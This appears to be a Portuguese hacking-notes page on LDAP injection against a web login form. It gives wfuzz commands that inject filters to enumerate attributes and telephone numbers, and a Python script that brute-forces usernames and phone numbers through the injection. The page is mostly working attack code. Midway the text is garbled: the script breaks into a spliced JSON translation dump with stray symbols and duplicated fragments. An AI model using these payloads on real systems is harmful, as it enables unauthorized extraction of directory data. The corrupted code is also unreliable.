> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md). # Técnicas LDAP Aqui estão algumas maneiras de explorar essa vulnerabilidade: 1. Sabendo o **ID do usuário** e usando o símbolo /\* como senha (que representa tudo):
2. Sabendo o **início do ID do usuário** e então adicionando o símbolo /\*:
3. Inserindo um **ID de usuário válido** e comentando o campo obrigatório da consulta de senha:
## Ataque de força bruta: * Com **Wfuzz**, podemos lançar um ataque por **força bruta** para identificar todos os **atributos**: ```bash wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888 ```
Depois de conhecermos os atributos com **Wfuzz** e identificar o **LDAP** ponto de injeção no campo de senha, podemos filtrar pelo primeiro caractere. Neste caso, fazemos isso com o **número de telefone**: ```bash wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888 ```
## Script Python automatizado: ````python #!/usr/bin/python3 from pwn import * import sys, signal, time, requests, pdb import string def def_handler(sig, frame): print("/n/n[+] Saindo.../n") sys.exit(1) # Técnicas de LDAP signal.signal(signal.SIGINT, def_handler) # Técnicas de LDAP main_url = "http://localhost:8888/" headers = {"Content-Type": "application/x-www-form-urlencoded"} def initial_users(): characters = string.ascii_lowercase initial_users = [] for character in characters: post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character) r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False) if r.status_code == 301: initial_users.append(character) return initial_users def getUsers(initial_users): characters = string.ascii_lowercase + string.digits users = [] for initial_user in initial_users】【：】【“】【t_732ef26e":"user = initial_user","t_dd3f2ce9":"for i in range(0, 15):","t_8f84f106":"post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)","t_b29a686d":"user += character","t_141059e4":"users.append(user)","t_5a6b39aa":"print(\"/n\")","t_ec0f3aa8":"for user in users:","t_37180a71":"log.info('Usuário válido encontrado: %s' % user)","t_36897b43":"return users","t_4a1d6fa3":"def getTelephoneNumber(users):","t_e04e9294":"characters = string.digits","t_c4ce27ba":"telephone_numbers = []","t_5cede331":"p1 = log.progress(\"Obtendo números de telefone do LDAP local\")","t_c2e80a7d":"p1.status(\"Iniciando a força bruta\")","t_001437e6":"p2 = log.progress(\"Obtendo o número de telefone\")","t_f737e424":"telf = ''","t_f0a4086d":"for i in range(0, 9):","t_f3c80980":"post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)","t_653ea674":"r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)","t_2bd7f2b2":"p1.status(\"[+] Obtendo o número de telefone do usuário: %s | %s\" % (user, post_data))","t_493c6fa5":"telf += character","t_ce75b666":"p2.status(\"Número de telefone: %s\" % telf)","t_f3600369":"telephone_numbers.append(telf)","t_65785064":"p2.success(\"Os números obtidos são: %s \" % telephone_numbers)","t_3b51c08b":"initial_users = initial_users()","t_818fef50":"getUsers = getUsers(initial_users)","t_7e5abccd":"getTelephoneNumber = getTelephoneNumber(getUsers)"}]}}** to=final निर्वाचन ismatch?***】}}]}]}]}?**```json {"t_9a99c51a":"Aqui estão algumas maneiras de explorar essa vulnerabilidade:","t_09e5bdf6":"Sabendo o","t_1dfcec72":"ID do usuário","t_271dbbe4":"e usando o símbolo /* como senha (que representa tudo):","t_18122f8b":"início do ID do usuário","t_495f708a":"e então adicionando o símbolo /*:","t_16e460a4":"Inserindo um","t_6856dac7":"ID de usuário válido","t_5778089c":"e comentando o campo obrigatório da consulta de senha:","t_529c8022":"Ataque de força bruta:","t_914d0f34":"Wfuzz","t_e2de7161":", podemos lançar um ataque por","t_969d1bdf":"força bruta","t_0227330f":"para identificar todos os","t_38a2c5a2":"atributos","t_ca0c7c62":"wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888","t_4474a6cd":"Depois de conhecermos os atributos com","t_e3ec5579":"e identificar o","t_d7002cef":"LDAP","t_67907053":"ponto de injeção no campo de senha, podemos filtrar pelo primeiro caractere. Neste caso, fazemos isso com o","t_74e6b0c0":"número de telefone","t_d88f3f09":"wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888","t_1c0ad5c4":"Script Python automatizado:","t_7e38094f":"import sys, signal, time, requests, pdb","t_4a3d9000":"print(\"/n/n[+] Saindo.../n\")","t_949d4e2b":"# Técnicas de LDAP","t_bbfbc491":"main_url = \"http://localhost:8888/\"","t_7df4d9ef":"headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}","t_6ecf3eca":"def initial_users():","t_07dc6d4f":"characters = string.ascii_lowercase","t_c65c922d":"initial_users = []","t_9215b32e":"post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)","t_7c754b92":"r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)","t_eda9be9b":"if r.status_code == 301:","t_e02e5a5b":"initial_users.append(character)","t_6de23904":"return initial_users","t_6224425c":"def getUsers(initial_users):","t_a06715d1":"characters = string.ascii_lowercase + string.digits","t_ad520147":"users = []","t_b40c375c":"for initial_user in initial_users:","t_732ef26e":"user = initial_user","t_dd3f2ce9":"for i in range(0, 15):","t_8f84f106":"post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)","t_b29a686d":"user += character","t_141059e4":"users.append(user)","t_5a6b39aa":"print(\"/n\")","t_ec0f3aa8":"for user in users:","t_37180a71":"log.info('Usuário válido encontrado: %s' % user)","t_36897b43":"return users","t_4a1d6fa3":"def getTelephoneNumber(users):","t_e04e9294":"characters = string.digits","t_c4ce27ba":"telephone_numbers = []","t_5cede331":"p1 = log.progress(\"Obtendo números de telefone do LDAP local\")","t_c2e80a7d":"p1.status(\"Iniciando a força bruta\")","t_001437e6":"p2 = log.progress(\"Obtendo o número de telefone\")","t_f737e424":"telf = ''","t_f0a4086d":"for i in range(0, 9):","t_f3c80980":"post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)","t_653ea674":"r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)","t_2bd7f2b2":"p1.status(\"[+] Obtendo o número de telefone do usuário: %s | %s\" % (user, post_data))","t_493c6fa5":"telf += character","t_ce75b666":"p2.status(\"Número de telefone: %s\" % telf)","t_f3600369":"telephone_numbers.append(telf)","t_65785064":"p2.success(\"Os números obtidos são: %s \" % telephone_numbers)","t_3b51c08b":"initial_users = initial_users()","t_818fef50":"getUsers = getUsers(initial_users)","t_7e5abccd":"getTelephoneNumber = getTelephoneNumber(getUsers)"}```】 user = initial_user for i in range(0, 15): for character in characters: post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character) r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False) if r.status_code == 301: user += character break users.append(user) print("/n") for user in users: log.info('Usuário válido encontrado: %s' % user) print("/n") return users def getTelephoneNumber(users): characters = string.digits telephone_numbers = [] p1 = log.progress("Obtendo números de telefone do LDAP local") p1.status("Iniciando a força bruta") p2 = log.progress("Obtendo o número de telefone") for user in users: telf = '' for i in range(0, 9): for character in characters: post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character) r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False) p1.status("[+] Obtendo o número de telefone do usuário: %s | %s" % (user, post_data)) if r.status_code == 301: telf += character p2.status("Número de telefone: %s" % telf) break telephone_numbers.append(telf) p2.success("Os números obtidos são: %s " % telephone_numbers) if __name__ == "__main__": initial_users = initial_users() getUsers = getUsers(initial_users) getTelephoneNumber = getTelephoneNumber(getUsers) ````
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